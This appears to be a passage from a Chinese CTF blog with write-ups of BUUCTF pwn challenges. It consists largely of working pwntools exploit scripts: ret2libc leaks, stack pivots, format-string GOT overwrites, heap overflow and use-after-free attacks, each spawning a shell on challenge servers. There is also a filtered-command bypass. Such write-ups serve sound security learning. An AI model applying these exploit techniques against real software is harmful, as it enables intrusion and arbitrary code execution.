  10. p.sendline(payload1)
  11. write_addr=p.recv()
  12. write_addr=u32(write_addr)
  13. libc=LibcSearcher('write',write_addr)
  14. libcbase=write_addr-libc.dump("write")
  15. system_addr=libcbase+libc.dump("system")
  16. binsh_addr=libcbase+libc.dump("str_bin_sh")
  17. payload2='A'*140+p32(system_addr)+p32(1234)+p32(binsh_addr)
  18. p.sendline(payload2)
  19. p.interactive()

ciscn_2019_es_2

我瞎了,一开始我看到这个 hack 函数,echo flag,嗯,返回到这个地方就打印出 flag 了,又是一道简单的 ret2text

image.png

结果写好 exp,只打印出了“flag”才幡然醒悟哈哈哈哈

这道题,栈迁移,找一下 leave;ret 0x080484b8

image.png

栈迁移原理
Advanced ROP
exp:

  1. from pwn import *
  2. #p=remote('node3.buuoj.cn',27789)
  3. p=process('./ciscn')
  4. context.log_level='debug'
  5. sys_addr = 0x08048400
  6. leave_ret = 0x080484b8
  7. payload ='a'*0x20+'bbbbbbbb'
  8. gdb.attach(p,'b *0x80485CD')
  9. p.send(payload)
  10. p.recvuntil('bbbbbbbb')
  11. leak_addr = u32(p.recv(4))
  12. print "======="
  13. print "0x%x" %leak_addr
  14. print "======="
  15. payload2 =('aaaa'+p32(sys_addr)+'bbbb'+p32(leak_addr-0x28)+'/bin/sh\x00').ljust(0x28,'a')
  16. payload2+=p32(leak_addr-0x38)+p32(leave_ret)
  17. p.sendline(payload2)
  18. p.interactive()

通过调试可以看到我们泄露出来的那个值,跟 ebp 的距离正好是 0x10

image.png

所以把 fake_ebp 设置为 leak_addr-0x38

image.png

[Black Watch 入群题]PWN

又一道栈迁移

  1. from pwn import *
  2. from LibcSearcher import *
  3. context.log_level='debug'
  4. p=process('./spwn')
  5. elf=ELF('./spwn')
  6. #p=remote('node3.buuoj.cn',28212)
  7. write_plt = elf.plt['write']
  8. write_got = elf.got['write']
  9. main_addr = elf.symbols['main']
  10. leave_addr = 0x08048511
  11. bss_addr = 0x804A300
  12. p.recvuntil('name?')
  13. payload ='a'*4 + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
  14. p.send(payload)
  15. p.recvuntil('say?')
  16. payload1 = 'a'*24 + p32(bss_addr)+p32(leave_addr)
  17. p.send(payload1)
  18. write_addr = u32(p.recv(4))
  19. print "0x%x" %write_addr
  20. libc = LibcSearcher("write",write_addr)
  21. libc_base = write_addr - libc.dump('write')
  22. sys_addr = libc_base + libc.dump('system')
  23. print "0x%x" %sys_addr
  24. p.recv()
  25. payload2 ='a'*4 + p32(sys_addr) + 'a'*4 + p32(bss_addr + 4*4) + "/bin/sh\x00"
  26. p.send(payload2)
  27. p.recv()
  28. payload3 = 'a'*0x18 + p32(bss_addr) + p32(leave_addr)
  29. p.send(payload3)
  30. p.interactive()

[BJDCTF 2nd]test

这道题,更像 web 题的命令执行被过滤了?

image.png

ssh -p 29201 ctf@node3.buuoj.cn
连上之后可以查看 test.c,如下:

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. int main(){
  5. gets(cmd);
  6. if( strstr(cmd, "n")
  7. ||strstr(cmd, "e")
  8. ||strstr(cmd, "p")
  9. ||strstr(cmd, "b")
  10. ||strstr(cmd, "u")
  11. ||strstr(cmd, "s")
  12. ||strstr(cmd, "h")
  13. ||strstr(cmd, "i")
  14. ||strstr(cmd, "f")
  15. ||strstr(cmd, "l")
  16. ||strstr(cmd, "a")
  17. ||strstr(cmd, "g")
  18. ||strstr(cmd, "|")
  19. ||strstr(cmd, "/")
  20. ||strstr(cmd, "$")
  21. ||strstr(cmd, "`")
  22. ||strstr(cmd, "-")
  23. ||strstr(cmd, "<")
  24. ||strstr(cmd, ">")
  25. ||strstr(cmd, ".")){
  26. exit(0);
  27. }else{
  28. system(cmd);
  29. }
  30. return 0;
  31. }

可以用这行命令来看一下还有哪一些命令是可以用的

  1. ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"

image.png

先 x86_64 然后再 cat flag 就可以了,另外也可以 od * 读成八进制然后再转换一下

补一些查看文件的命令:
cat、tac、more、less、head、tail、nl、od、sort、vi、bzmore、bzless、paste、diff、strings

bjdctf_2020_babyrop

ret2libc,写完 payload2 忘记 send,找了好一会问题😂

  1. from pwn import *
  2. from LibcSearcher import *
  3. p=remote('node3.buuoj.cn',28833)
  4. #p=process('./babyrop')
  5. elf=ELF('./babyrop')
  6. put_plt=elf.plt['puts']
  7. put_got=elf.got['puts']
  8. pop_rdi=0x400733
  9. main_addr=0x4006AD
  10. payload = 'a'*40 + p64(pop_rdi) + p64(put_got) + p64(put_plt) + p64(main_addr)
  11. p.recvuntil('story!\n')
  12. p.send(payload)
  13. puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
  14. libc=LibcSearcher('puts',puts_addr)
  15. libc_base=puts_addr-libc.dump('puts')
  16. sys_addr=libc_base+libc.dump('system')
  17. binsh_addr=libc_base+libc.dump('str_bin_sh')
  18. payload2 = 'a'*40+p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)+p64(main_addr)
  19. p.recvuntil('story!\n')
  20. p.send(payload2)
  21. p.interactive()

jarvisoj_level3

  1. from pwn import *
  2. from LibcSearcher import *
  3. #p = process('./level3')
  4. p = remote('node3.buuoj.cn',25876)
  5. elf = ELF('./level3')
  6. write_plt=elf.plt['write']
  7. write_got=elf.got['write']
  8. main_addr=elf.symbols['main']
  9. payload1='A'*140+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4)
  10. #write 函数原型是 write(1,address,len) ,1表示标准输出流 ,address 是 write 函数要输出信息的地址 ,而 len 表示输出长度
  11. p.recvuntil("Input:\n")
  12. p.sendline(payload1)
  13. write_addr = u32(p.recv(4))
  14. #通过 LibcSeacher 获得 libc 版本
  15. libc=LibcSearcher('write',write_addr)
  16. #计算 libc 的地址
  17. libcbase=write_addr-libc.dump("write")
  18. #计算 system 地址
  19. system_addr=libcbase+libc.dump("system")
  20. #计算 /bin/sh 地址
  21. binsh_addr=libcbase+libc.dump("str_bin_sh")
  22. payload='A'*140+p32(system_addr)+p32(0xbeadbeef)+p32(binsh_addr)
  23. p.sendline(payload)
  24. p.interactive()

[BJDCTF 2nd]r2t4

有一个后门,地址是:0x400626,主函数里面有一个格式化字符串的漏洞

image.png

思路是通过这个漏洞,把 stack_chk_fail 的 got表给改掉,改成 backdoor 的地址,这样当程序发现 canary 被修改去调用 stack_chk_fail 的时候就调用了 backdoor

hhn 写入的就是单字节,hn 写入的就是双字节,先来看一下格式化字符串解析的地方,数一下它的参数,第六个

image.png

  1. from pwn import *
  2. p = remote('node3.buuoj.cn','29127')
  3. #p = process('./pwn')
  4. elf = ELF('pwn')
  5. __stack_chk_fail=elf.got['__stack_chk_fail']
  6. payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
  7. #我们输入的是在第六个,然后上面的字符串占了3位,所以后面第一个p64是第九位,然后第十位
  8. #64是0x0040,写到了地址+2处,然后再写1510+64也就是626,写到地址处,就是0x0626
  9. p.sendline(payload)
  10. p.interactive()

others_shellcode

nc 连接就有…

babyfengshui_33c3_2016

先熟悉一下程序的功能,增删改查退

image.png

在 IDA 里面看一下,给他们改个名字先

image.png

先申请一个 desc 的 size,然后申请 0x80 的 v2 作为结构体,里面保存 desc 的地址和 name

image.png

image.png

在 update 的时候,有一行检验长度的,检验逻辑是这样的,你输入的长度加上 desc 的地址,看看是不是超过了申请的结构体堆块的地址

image.png

想法很好,但是当我们 add 几个 user 去释放掉第一个,重新申请一块能够把第一个的 desc 和 结构体全都占满的 desc 的堆块,那么申请的结构体的堆块就只能往后排,这时候就绕过了他的检验,我们就能够往其他的堆块里面写东西了

如图:
image.png

image.png

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. from LibcSearcher import *
  5. #context.log_level = 'debug'
  6. p=process('./pwn1')
  7. elf=ELF('./pwn1')
  8. #p=remote('node3.buuoj.cn',26004)
  9. def cmd(num):
  10. p.sendlineafter('Action: ',str(num))
  11. def add(size,name,leng,text):
  12. cmd(0)
  13. p.sendlineafter('description: ',str(size))
  14. p.sendlineafter('name: ',name)
  15. p.sendlineafter('length: ',str(leng))
  16. p.sendlineafter('text: ',text)
  17. def dele(index):
  18. cmd(1)
  19. p.sendlineafter('index: ',str(index))
  20. def show(index):
  21. cmd(2)
  22. p.sendlineafter('index: ',str(index))
  23. def update(index,leng,text):
  24. cmd(3)
  25. p.sendlineafter('index: ',str(index))
  26. p.sendlineafter('length: ',str(leng))
  27. p.sendlineafter('text: ',text)
  28. add(0x80,'yichen',0x80,'yichen')
  29. add(0x80,'yichen',0x80,'yichen')
  30. add(0x8,'yichen',0x8,'/bin/sh\x00')
  31. gdb.attach(p)
  32. dele(0)
  33. add(0x100,'yichen',0x19c,"a"*0x198+p32(elf.got['free']))
  34. show(1)
  35. p.recvuntil("description: ")
  36. free_addr = u32(p.recv(4))
  37. print "==============="
  38. print "0x%x" %free_addr
  39. print "==============="
  40. libc = LibcSearcher('free', free_addr)
  41. libc_base = free_addr - libc.dump('free')
  42. sys_addr = libc_base + libc.dump('system')
  43. update(1, 0x4, p32(sys_addr))
  44. dele(2)
  45. p.interactive()

[BJDCTF 2nd]ydsneedgirlfriend2

程序是有一个后门的,0x400D86

image.png

可以看到在申请的第一个堆块的时候它把 print_girlfirend_name 这个函数放在了这里

image.png

image.png

而在 free 的时候,没有置为 NULL

image.png

我们把申请的删掉,然后再去申请 0x10 的时候就会跳过前面的 malloc 0x10,因为已经有了

image.png

但是因为是 free 的状态,所以我们申请的 0x10,会分配到这里,这样就能控制那个指针,指向 backdoor,来拿到 shell

  1. from pwn import *
  2. #p = process('./pwn')
  3. p = remote('node3.buuoj.cn','26848')
  4. elf = ELF('./pwn')
  5. backdoor = 0x400D86
  6. def cmd(index):
  7. p.recvuntil("u choice :")
  8. p.sendline(str(index))
  9. def add(size,content):
  10. cmd(1)
  11. p.recvuntil("Please input the length of her name:")
  12. p.sendline(str(size))
  13. p.recvuntil("Please tell me her name:")
  14. p.sendline(content)
  15. def delete(index):
  16. cmd(2)
  17. p.recvuntil("Index :")
  18. p.sendline(str(index))
  19. def show(index):
  20. cmd(3)
  21. p.recvuntil("Index :")
  22. p.sendline(str(index))
  23. add(0x20,'aaaa')
  24. delete(0)
  25. add(0x10,p64(backdoor)*2)
  26. show(0)
  27. p.interactive()

jarvisoj_fm

image.png

如果 x 是 4 的话就能拿到 shell,通过 vmmap 可以发现这个地址是可以写的,同时上面有一个格式化字符串漏洞

image.png

  1. from pwn import *
  2. p=process('./fm')
  3. payload=fmtstr_payload(11, {0x804a02c:0x4})
  4. p.sendline(payload)
  5. p.interactive()

jarvisoj_tell_me_something

有个后门,直接输出 flag

  1. from pwn import *
  2. #p = process('./guestbook')
  3. p = remote('node3.buuoj.cn',29414)
  4. flag_addr = 0x0400620
  5. payload = 'a'*136 + p64(flag_addr)
  6. p.recvuntil(":")
  7. p.sendline(payload)
  8. p.interactive()

jarvisoj_level3_x64

  1. #!/usr/bin/env python
  2. from pwn import *
  3. from LibcSearcher import *
  4. p = remote('node3.buuoj.cn',29203)
  5. #p=process('./level3')
  6. elf = ELF('./level3')
  7. payload = 'a'*0x80 + 'a'*0x8
  8. rdi_add = 0x4006b3
  9. rsir15_add = 0x4006b1
  10. write_plt = elf.plt['write']
  11. write_got = elf.got['write']
  12. vul_add = elf.symbols['vulnerable_function']
  13. payload1 = payload + p64(rdi_add) + p64(0x1) + p64(rsir15_add) + p64(write_got) + 'deadbeef' + p64(write_plt) + p64(vul_add)
  14. p.recvuntil("Input:\n")
  15. p.sendline(payload1)
  16. write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
  17. libc=LibcSearcher('write',write_addr)
  18. libc_base=write_addr-libc.dump('write')
  19. sys_add = libc_base + libc.dump('system')
  20. binsh_add =libc_base+libc.dump('str_bin_sh')
  21. payload2 = payload + p64(rdi_add) + p64(binsh_add) + p64(sys_add)
  22. p.sendline(payload2)
  23. p.interactive()

jarvisoj_level4

直接拿 level3 的 exp 打就行

  1. #coding:utf-8
  2. from pwn import *
  3. from LibcSearcher import *
  4. #p = process('./level4')
  5. p = remote('node3.buuoj.cn',25757)
  6. elf = ELF('./level4')
  7. write_plt=elf.plt['write']
  8. write_got=elf.got['write']
  9. main_addr=elf.symbols['main']
  10. payload1='A'*140+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4)
  11. #write 函数原型是 write(1,address,len) ,1表示标准输出流 ,address 是 write 函数要输出信息的地址 ,而 len 表示输出长度
  12. p.sendline(payload1)
  13. write_addr = u32(p.recv(4))
  14. libc=LibcSearcher('write',write_addr)
  15. libcbase=write_addr-libc.dump("write")
  16. system_addr=libcbase+libc.dump("system")
  17. binsh_addr=libcbase+libc.dump("str_bin_sh")
  18. payload='A'*140+p32(system_addr)+p32(0xbeadbeef)+p32(binsh_addr)
  19. p.sendline(payload)
  20. p.interactive()

内容多了打开编辑有点卡,再开一篇